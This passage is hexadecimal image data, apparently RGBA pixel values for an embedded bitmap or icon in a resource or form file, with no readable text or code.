DEFF2756DEFF2656DEFF2656DEFF2656DEFF2656DEFF2656DEFF2656DEFF2756\n      DEFF2757DEFF1E51DDFF174BE2FF707D95FFB65F1CFFFD6A00FFF86900FFF76A\n      00FFF76A00FFF76A00FFF76A00FFF76A00FFF76A00FFF76A00FFF76A00FFF76A\n      00FFF76A00FFF86900FFFF6B00FF9E6A43FF4C893BFF53B831FF52B431FF53B4\n      32FF56B827FF2F83AEFF206BE7FF226CE1FF226CE1FF2368E0FF1BA5F0FF12F6\n      FFFF13EFFFFF13EEFFFF12F6FFFF4A969CFF336BB8FF1E85FFFF5FACFFFFFFFF\n      FFFFFCFFFFFFFCFFFFFFFCFFFFFFFCFFFFFFFFFFFFFFFCFFFFFFFCFFFFFFFCFF\n      FFFFFFFFFFFF449AFFFF2188FFFF51729DFFC6C8C4FFEDF5FFFF4A5EDAFF192E\n      D0FF2840D4FF2C42D4FF293FD4FF2339D2FF2339D2FF293FD4FF2C42D4FF283F\n      D4FF162CCFFF596DDEFFFAFFFFFFA5A8A5FFA44B1DFFD14501FFCF4702FFCF48\n      03FFCF4803FFCF4804FFCF4804FFCF4804FFCF4804FFCF4804FFCF4804FFCF48\n      03FFCF4803FFCF4702FFD24501FF965F41FF518134FF589E23FF589D25FF589D\n      26FF5CA11AFF3663A1FF264DDBFF2850D5FF2850D5FF284AD3FF238AE1FF1AE4\n      FEFF1ADDFCFF19DDFCFF17E3FFFF4A97A0FF3658B7FF215CF7FF618DF6FFFFFF\n      FFFFF7FFFFFFF7FFFFFFF7FFFFFFF7FFFEFFBFD3FBFFFBFFFFFFF7FFFFFFF7FF\n      FFFFFFFFFFFF4778F5FF235CFBFF53689CFF73A36FFFFFFFFFFFFFFFFFFFBCC0\n      F0FF2B2BD1FF1D1ECEFF393CD4FF878BE5FF8388E5FF3133D3FF1D1ECEFF3335\n      D3FFCBD0F5FFFFFFFFFFFFFFFFFF739271FF95381EFFBE2A00FFBA2800FFAE1C\n      00FFAF1D00FFAE1D00FFAE1D00FFAE1D00FFAE1D00FFAE1D00FFAF1D00FFAF1D\n      00FFB11F00FFBD2B00FFC02800FF8C5645FF56752BFF5D9016FF5E8F1AFF5E91\n      1AFF62960EFF3B519CFF2B35DAFF2D38D4FF2D38D4FF2D31D2FF2778DDFF1EE2\n      FEFF1ED9FCFF1DD9FCFF1ADDFFFF4D939DFF3645B2FF233FF4FF6377F3FFFFFF\n      FFFFFAFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFBDC9FAFFFFFFFFFFFEFFFFFFFAFF\n      FFFFFFFFFFFF495FF2FF2440F7FF545D99FF3D8E2EFF3AB921FFC0E8B9FFFFFF\n      FFFFFFFFFFFFA9A3ECFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA7A3EBFFFFFF\n      FFFFFFFFFFFFB1E2A8FF34B91BFF578550FF29299DFF0F0ED4FF292DD6FFD7DF\n      FAFFB5BDF2FFBBC2F3FFBFC6F4FFBCC4F4FFBBC2F3FFC0C7F4FFB7C0F3FFBEC6\n      F4FFB3BBF1FF0707CEFF1011D7FF4D4D8EFF596D25FF61850DFF628410FF6385\n      11FF678D06FF3D4098FF2E22D6FF3025D0FF3025D0FF301ECEFF2A6BDCFF21DE\n      FEFF21D4FCFF1FD4FCFF1CD9FFFF50909DFF3738B0FF2425F2FF6566F3FFFFFF\n      FFFFFFFFFFFFC2C2FAFF9494F6FFB9B8F8FF9A9AF6FF9897F6FFD4D4FBFFFFFF\n      FFFFFFFFFFFF4C4BF0FF2727F5FF555597FF458E35FF3EB824FF31B115FF5EC2\n      48FFEAF8E7FFFFFFFBFF97A1CCFFFFFFFFFFFDFFF8FF959ECFFFFFFFFFFFDFF3\n      DAFF53BE3AFF34B216FF3FBB24FF5B8553FF23249DFF0708D2FF0202CCFF4444\n      D9FFDBDBF9FFD1D2F6FFD5D5F7FFD9D9F7FFCCCDF6FFD6D7F7FFD5D5F7FFBCBC\n      F1FF0E0FD0FF0808CEFF0607D5FF48498DFF5B6B24FF648109FF647C0CFF6580\n      0DFF698801FF403996FF301AD7FF3217CFFF3218CFFF3216CFFF2B67DCFF22DD\n      FEFF22D4FCFF20D2FCFF1DD9FFFF508E9DFF3833AEFF241BF1FF665FF1FFFFFF\n      FFFFFFFFFEFF534BF0FF2017ECFF231AECFF251CECFF1E16ECFF665FF1FFFFFF\n      FEFFFFFFFFFF4C44EFFF261DF4FF555197FF468E35FF46BC2BFF43B829FF36B4\n      1BFF8CD279FFFFFFFEFF6B75BFFFFFFFFFFFFFFFF9FF6770BEFFFFFFFFFF73CA\n      60FF39B51EFF42B827FF40BC25FF5B8553FF24249CFF0C0CD3FF0D0DCEFF0000\n      C9FFEAEAFAFFE9E9FAFFE5E5F8FFD6D6F7FFD3D3F6FFE8E8FAFFE6E6F9FF9898\n      EAFF0000CCFF0C0CCFFF0909D4FF49498DFF5B6B24FF69850CFF65810DFF637D\n      0EFF698803FF3F3A96FF3014D5FF2A65E1FF2C5FE0FF3310CDFF2B67DCFF21DE\n      FEFF22D4FCFF20D4FCFF1DD9FFFF508F9DFF3833B0FF2B21F1FF6C65F2FFE4E2\n      FCFF2017ECFF2920EDFF2B23EDFF3028EEFF3028EEFF2B23EDFF261EECFF2A22\n      EDFFF8F8FDFF4F48EFFF261EF4FF555197FF468F37FF49BE2DFF4ABC2FFF3BB5\n      20FF88D175FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6EC8\n      5BFF38B41DFF42B827FF40BC25FF5B8553FF25259CFF0E0ED4FF1010D0FF0E0E\n      CFFFC2C2F2FF7272E2FF5B5BDEFFE8E8F9FFC9C9F4FF2F2FD5FFBDBDF0FF6D6D\n      E2FF0505CDFF0C0CCFFF0909D4FF49498DFF5B6B25FF6B880EFF6B8711FF6B86\n      11FF698602FF3F3895FF2F1CD6FF24B7F4FF27A3F0FF3212CDFF2B67DCFF21DE\n      FEFF22D4FCFF20D4FCFF1DD9FFFF508F9DFF3A34B0FF2D24F2FF6C66F1FFFFFF\n      FFFF2016ECFF2018ECFF5E57F1FF2B23EDFF2B23EDFF5B54F1FF2118ECFF3D36\n      EEFFFFFFFFFF4C45EFFF261EF4FF555197FF4A9038FF49BF2EFF3CB71FFF77CD\n      64FFF7FCF3FFFFFFFFFFFFFFFFFF868EC9FFA1A9D2FFFFFFFFFFFFFFFFFFEEF9\n      E9FF61C44CFF30B113FF3FBA23FF5C8553FF25259DFF0F0FD5FF1112D3FF0D0D\n      D1FF5151DEFF0B0BD0FF0000CCFF9A9AEAFF3636D6FF0000CCFF4444D9FF0909\n      CDFF0C0CCEFF0A0BCEFF0909D3FF49498DFF5D6C25FF6E8A0FFF6F8A12FF708B\n      14FF749208FF48419AFF331BD6FF2F2AD2FF301ACFFF3114CEFF2966DCFF21DD\n      FEFF20D3FCFF1ED1FCFF1DD9FFFF508F9DFF3A35B0FF3129F2FF6F68F3FFFFFF\n      FEFFFFFFFEFFACA9F8FFAAA7F7FF251CECFF2119ECFFC7C5F9FFAAA7F7FFF5F4\n      FEFFFFFFFFFF4A44EFFF271EF4FF555197FF418E2FFF54C339FFD8F0D0FFFFFF\n      FFFFFFFFFFFF9C92E9FFFFFFFFFFECF6EBFFF8FFF0FFFFFFFFFF9B91E9FFFFFF\n      FFFFFFFFFFFFC9EAC1FF4FC332FF58844FFF2026A9FF0310E8FF0713E5FF0816\n      E5FF0411E4FF0916E5FF0813E5FF3442EDFF0510E3FF0815E4FF0310E3FF0715\n      E3FF0714E4FF0512E4FF030FEBFF474994FF5E6C26FF728E10FF728B13FF738D\n      16FF77940AFF4E469CFF3D28DCFF4029D6FF3E2AD5FF3C20D3FF356EDEFF2CE0\n      FEFF2DD7FCFF2CD8FCFF2CDDFFFF518F9DFF3A35B0FF342BF3FF706AF2FFFFFF\n      FFFFFFFFFFFFFFFFFFFF5F57F2FF342BEEFF2E26EEFF8078F4FFFFFFFFFFFFFF\n      FFFFFFFFFFFF5750F0FF382EF6FF565397FF83A578FFFFFFFFFFFFFFFFFFB3A9\n      EEFF361FD3FF341DD4FF4029D5FF8775E6FF8270E5FF3A23D4FF341DD4FF3C25\n      D6FFC0BAF1FFFFFFFFFFFFFFFFFF7A9175FF8A2520FFBA1000FFB71301FFB615\n      05FFB61606FFB61706FFB61706FFB31305FFB61706FFB61706FFB61706FFB616\n      05FFB71504FFB71302FFBA0F00FF814947FF5F6D25FF769010FF748F13FF758E\n      15FF789608FF51489DFF4029DDFF422CD7FF422CD7FF4324D5FF3B71E1FF31E2\n      FDFF31D9FCFF2FD9FCFF2DDEFFFF508F9DFF3B36B0FF372DF3FF726BF2FFFFFF\n      FFFFFFFFFFFFFFFFFFFFE5E5FCFFAEAAF7FFD1CEFAFFE1E0FCFFFFFFFFFFFFFF\n      FFFFFFFFFFFF5A52F1FF3930F7FF565397FFCAC9C3FFE6E2FEFF4F38DAFF3218\n      D4FF3F27D7FF4028D7FF3E26D7FF3921D5FF3A22D5FF3F27D7FF4028D7FF3E26\n      D7FF3015D4FF5B45DDFFF6F2FFFFA7A5A1FF812323FFAC0B0BFFAA0E0EFFAB10\n      10FFAB1111FFAB1111FFAB1111FFAB1111FFAB1111FFAB1111FFAB1111FFAB11\n      11FFAB1010FFAA0E0EFFAE0A0AFF7B4747FF5F6D23FF75910BFF758F0EFF7490\n      10FF7A9704FF4F479DFF3E25DDFF4028D7FF4028D7FF4021D5FF3970E1FF2EE2\n      FEFF2FD9FCFF2DD9FCFF2BE0FFFF508E9CFF3A35AFFF372CF4FF726BF5FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFEDEDFDFFFFFFFEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFF5A51F2FF3A2EF7FF545196FF6E66ADFF4731DCFF5540DCFF5845\n      DCFF5944DCFF5946DCFF5945DCFF5945DCFF5945DCFF5945DCFF5946DCFF5844\n      DCFF5845DCFF533EDCFF4732DCFF7C78A2FF863030FFB73333FFB53131FFB433\n      33FFB43333FFB43333FFB43333FFB43333FFB43333FFB43333FFB43333FFB433\n      33FFB43333FFB53131FFB73232FF895555FF64732FFF8AA033FF879C31FF889E\n      33FF8BA328FF665EAEFF5843E2FF5946DDFF5946DDFF5A3FDBFF5388ECFF49E8\n      FFFF4AE0FFFF49DFFEFF4AE3FFFF5D9DACFF423EB5FF5148F7FF867DF8FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFF6D66F7FF5148F9FF605FA6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD4D4D4FFBCBDBCFFBCBDBDFFBDBD\n      BDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBD\n      BDFFBDBDBDFFBCBDBCFFBCBCBCFFDEDEDEFFDADADAFFBFBFBFFFC0BFBFFFC0C0\n      C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0\n      C0FFC0C0C0FFC0BFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFF529F6FFF51D987FF52D988FF53D9\n      88FF53D988FF53D988FF53D988FF53D988FF53D988FF53D988FF53D988FF53D9\n      88FF53D988FF52D987FF51D987FF649276FF3AB7BDFF33FFFFFF33FFFFFF34FE\n      FFFF35FEFFFF35FEFFFF35FEFFFF35FEFFFF35FEFFFF35FEFFFF35FEFFFF35FE\n      FFFF34FEFFFF32FFFFFF32FFFFFF56A0A4FF3580B4FF2AA2FFFF2BA0F9FF2CA0\n      F9FF2BA1F9FF2CA1F9FF2CA1F9FF2CA1F9FF2CA1F9FF2CA1F9FF2CA1F9FF2BA1\n      F9FF2CA0F9FF2AA0F9FF29A4FFFF537D9CFF56B61CFF61FD00FF60F900FF61F8\n      00FF61F800FF61F800FF61F800FF61F800FF61F800FF61F800FF61F800FF61F8\n      00FF61F800FF60F900FF63FF00FF649E43FF4E9B58FF4FC45EFF50C55FFF51C5\n      60FF51C561FF51C561FF51C561FF40CF96FF44CC8BFF51C561FF51C561FF51C5\n      61FF51C560FF50C55FFF4EC45EFF608E67FF39B3BCFF2DEEFDFF30EBF9FF32EB\n      F9FF33EBF9FF33EFFAFF32F4FCFF32F5FCFF32F5FCFF33F2FCFF33F0FEFF34F4\n      FFFF34F8FFFF33FCFFFF2AE7F1FF508E89FF3568AFFF2573E7FF2873E5FF2A72\n      E5FF2B74E5FF2B74E5FF2B74E5FF2B74E5FF2B74E5FF2B74E5FF2B74E5FF2B74\n      E5FF2A72E5FF2873E5FF2574E9FF52729BFF54A41DFF59D403FF5AD103FF5BD1\n      05FF5BD204FF5BD206FF5BD206FF5BD206FF5BD206FF5BD206FF5BD206FF5BD2\n      04FF5BD105FF5AD103FF59D503FF639642FF4C8C3FFF4BAF37FF4CB039FF4DB0\n      3AFF4EB13BFF48B450FF27CAC1FF17D3F7FF16D3F7FF2CC7B2FF4AB348FF4EB0\n      3BFF4DB03AFF4CB039FF4AAF37FF5E8458FF35ADB8FF28E9FBFF2BE7F8FF2DE7\n      F8FF2CEFFAFF30B8E9FF3486D8FF3671D7FF3871D9FF339AE1FF29BED0FF1D8C\n      83FF175F4BFF0E330FFF072600FF485645FF3152A9FF2153E3FF2352DFFF2554\n      DFFF2654DFFF2654DFFF2654DFFF2854DFFF2854DFFF2654DFFF2654DFFF2654\n      DFFF2553DFFF2352DFFF1F52E6FF516497FF50931FFF55BD06FF56BA08FF57BB\n      09FF57BB0AFF56BB0AFF56BB0AFF56BB0AFF56BB0AFF56BB0AFF56BB0AFF57BB\n      0AFF57BB09FF54BA08FF55BD06FF638B46FF48812BFF469E18FF499F1AFF4A9F\n      1DFF34B177FF1BBFE0FF54657CFF763743FF753B48FF4F728DFF19C3DEFF38AE\n      65FF4A9F1BFF489E1AFF469D17FF5C7C4CFF31ACB9FF23EFFFFF26F0FFFF27F9\n      FFFF27BDEBFF207AA0FF3042CCFF314CDDFF3048D1FF27208AFF120F1BFF0F11\n      0EFF091005FF030C03FF000500FF474847FF2D3DA8FF1933E4FF1B34E1FF1E37\n      E1FF1D37E2FF1D37E2FF1D37E2FF1D37E2FF1D37E2FF1D37E2FF1D37E2FF1D37\n      E2FF1C37E1FF1A35E2FF1832E6FF4E5895FF4D8623FF50AA09FF51A80BFF52A8\n      0DFF52A80DFF53A90EFF54A90AFF54A90CFF54A808FF53A90EFF53A80EFF52A8\n      0DFF52A80DFF52A80BFF51AC08FF618148FF487B23FF45960AFF3E9E31FF1CBB\n      C0FF0FC7F8FF565973FF7C2D3DFF782738FF772536FF7C2D3DFF4F7696FF0FC7\n      F8FF21B8B0FF419C25FF449609FF5B7846FF2F929EFF168C98FF12525AFF0E1E\n      15FF24077BFF171441FF272EAEFF241290FF140E56FF2538C6FF160A5CFF0703\n      21FF2A2A28FF656767FFA9AAABFF929393FF698320FF7BA400FF7BA300FF7CA4\n      00FF7CA400FF7CA400FF7CA400FF7CA400FF7CA400FF7CA400FF7CA400FF7CA4\n      00FF7BA400FF7AA300FF7CA700FF6F7D47FF4E8125FF4FA309FF4FA00DFF50A2\n      0DFF51A10EFF53A20CFF49AA3AFF53A10BFF46AE48FF53A20AFF53A310FF51A1\n      0EFF50A20DFF4FA00BFF4FA408FF607C49FF487B27FF2CAF7DFF0FC6F1FF0FC7\n      F8FF14C0F0FF78293AFF782738FF792839FF772636FF7C2F3DFF968584FF0FC7\n      F8FF0EC7F8FF10C3EAFF2DA969FF5B7947FF232020FF0A0000FF0A0303FF0504\n      00FF2110A7FF151B75FF000000FF1E1482FF626262FF5B5EB9FF6258BBFFBFBA\n      F1FFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FF657B24FF76A00CFF749B0DFF729B\n      0EFF759C10FF759C10FF759C10FF759C10FF759C10FF759C10FF759C10FF759C\n      0FFF749C0EFF739B0CFF749D09FF6D7A49FF508720FF57B000FF53AB00FF52AA\n      00FF54AC00FF55AB00FF53A804FF1CDBFFFF31C9B0FF57A600FF54AC00FF54AC\n      00FF53AB00FF52AB00FF52AF00FF628047FF497C25FF31B077FF13C8EFFF11C9\n      F8FF14C1F0FF8B4C55FF85424AFF945A60FFA38178FF9A716AFF6F394BFF0FC7\n      F8FF0EC7F8FF11C3E7FF2FA762FF5B7846FF202020FF000000FF151715FF4544\n      5EFF8079ADFF9E99C3FFC4C2E0FF8177C7FFC1BFE1FF968DD2FFFFFFFFFF6458\n      B1FFFFFFFFFFFFFFFFFFFFFFFFFFA59E9EFF657B25FF79A10EFF7AA011FF799F\n      10FF739A0EFF739B0EFF749B0FFF749B0FFF749B0FFF749B0FFF749B0FFF759B\n      0EFF739C0DFF729B0BFF749D08FF6D7A49FF3F38BEFF3A30FFFF3B31FFFF3A30\n      FFFF362CFFFF3526FFFF2A7DFFFF23CCFCFF26ABFFFF3247FFFF3629FFFF352B\n      FFFF342AFFFF3329FFFF3126FFFF5654A0FF4C7C23FF509E0FFF4AA531FF26BF\n      BCFF15CBF8FF6A8A98FF8F5859FF8B4451FF762435FF752233FF466E90FF0FC6\n      F7FF22B6A8FF429B21FF46960AFF5C7946FF919292FFFEFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFE1DFEDFF8E83D9FF4735C8FF6754D2FFB4A0D7FFFFFFFFFFFFFF\n      FFFFBCF5FCFF85EEF9FF4BEDFFFF4E939BFF607720FF729D00FF739B00FF749B\n      03FF749B05FF719902FF6D9600FF699400FF689200FF689200FF689200FF6892\n      00FF689300FF679100FF699500FF697747FF403FB1FF403EF5FF4240F1FF4341\n      F1FF4442F1FF413FEFFF3D2EEEFF306DF3FF3828EEFF3832EFFF3735F0FF3634\n      F0FF3533F0FF3432F0FF3432F7FF585899FF4D7C24FF53A010FF55A113FF56A2\n      16FF40B26BFF22C2DFFF5A6A87FF803749FF7B384BFF507391FF1FC3DAFF42AD\n      58FF53A014FF54A012FF53A00FFF5E7947FFBEBEBEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF5C6DC2FF78ADDDFF70FBFFFF2CE4F8FF18E1\n      F6FF20E1F7FF23E3F6FF28EAFFFF50949BFFC2BFC9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A1A5FF403FB1FF4441F6FF4543F2FF4644\n      F2FF4745F2FF4745F2FF4745F2FF4840F0FF4744F1FF4442F1FF4341F1FF4341\n      F1FF4341F1FF4341F1FF4542F8FF585899FF4D7D23FF56A210FF58A313FF59A4\n      15FF59A417FF54A82AFF2FBFABFF18CEF8FF18CDF6FF34BC9AFF56A622FF59A4\n      16FF59A415FF58A313FF56A20FFF5E7A46FFC6BBB9FFFFFFFFFFD6F8FDFFA4F3\n      FCFF70ECF9FF3CE6F8FF1FE7F9FF2FB5E1FF2EDAF2FF2DE6F8FF31E5F7FF33E6\n      F7FF32E6F7FF30E4F8FF2EEBFFFF50949BFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF4140B1FF4643F6FF4745F2FF4846\n      F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947\n      F2FF4846F2FF4745F2FF4644F9FF585899FF4D7D23FF58A30EFF59A411FF5AA5\n      13FF5AA514FF5AA514FF5AA514FF47B155FF4CAE45FF5AA514FF5AA514FF5AA5\n      14FF5AA513FF59A411FF58A30DFF5E7A46FF40ABB6FF19E7FDFF1EE4F9FF24E5\n      F9FF2AE5F9FF2EE6F9FF31E6F9FF31EAFCFF31E7FAFF31E6F9FF31E6F9FF2FE6\n      F9FF30E6F9FF2EE6F9FF2DEDFFFF50939AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF4140B1FF4644F6FF4644F2FF4845\n      F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846\n      F2FF4745F2FF4643F2FF4644F9FF575797FF578236FF63A429FF63A52AFF64A5\n      2BFF64A52CFF64A62CFF64A62CFF64A62CFF64A62CFF64A62CFF64A62CFF64A5\n      2CFF64A52BFF63A52AFF61A427FF6C8759FF3AADBBFF4CEEFFFF4AEAFCFF4BEA\n      FCFF4AEAFCFF4AEAFCFF4AEAFCFF4AEAFCFF4AEAFCFF4AEAFCFF4AEAFCFF4BEA\n      FCFF4BEAFCFF4AEAFCFF4AEDFFFF5DA2AAFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFF4948B7FF615FF8FF5D5CF6FF5E5C\n      F6FF5E5DF6FF5E5DF6FF5E5DF6FF5E5DF6FF5E5DF6FF5E5DF6FF5E5DF6FF5E5D\n      F6FF5E5CF6FF5D5BF6FF605DFAFF6464A8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFFD4D4D4FFBDBCBCFFBDBCBCFFBDBD\n      BCFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBD\n      BDFFBDBDBCFFBDBCBCFFBCBCBCFFDEDEDEFFDADADAFFBFBFBFFFBFBFC0FFC0C0\n      C0FFC0C0C0FFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFC0C0\n      C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0BFFFC0C0BFFFBFBFBFFFFFFFFFFFB6B7B7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF1511E5FF2A27E8FF2A27E8FF1511E5FFFFFFFFFFFFFF\n      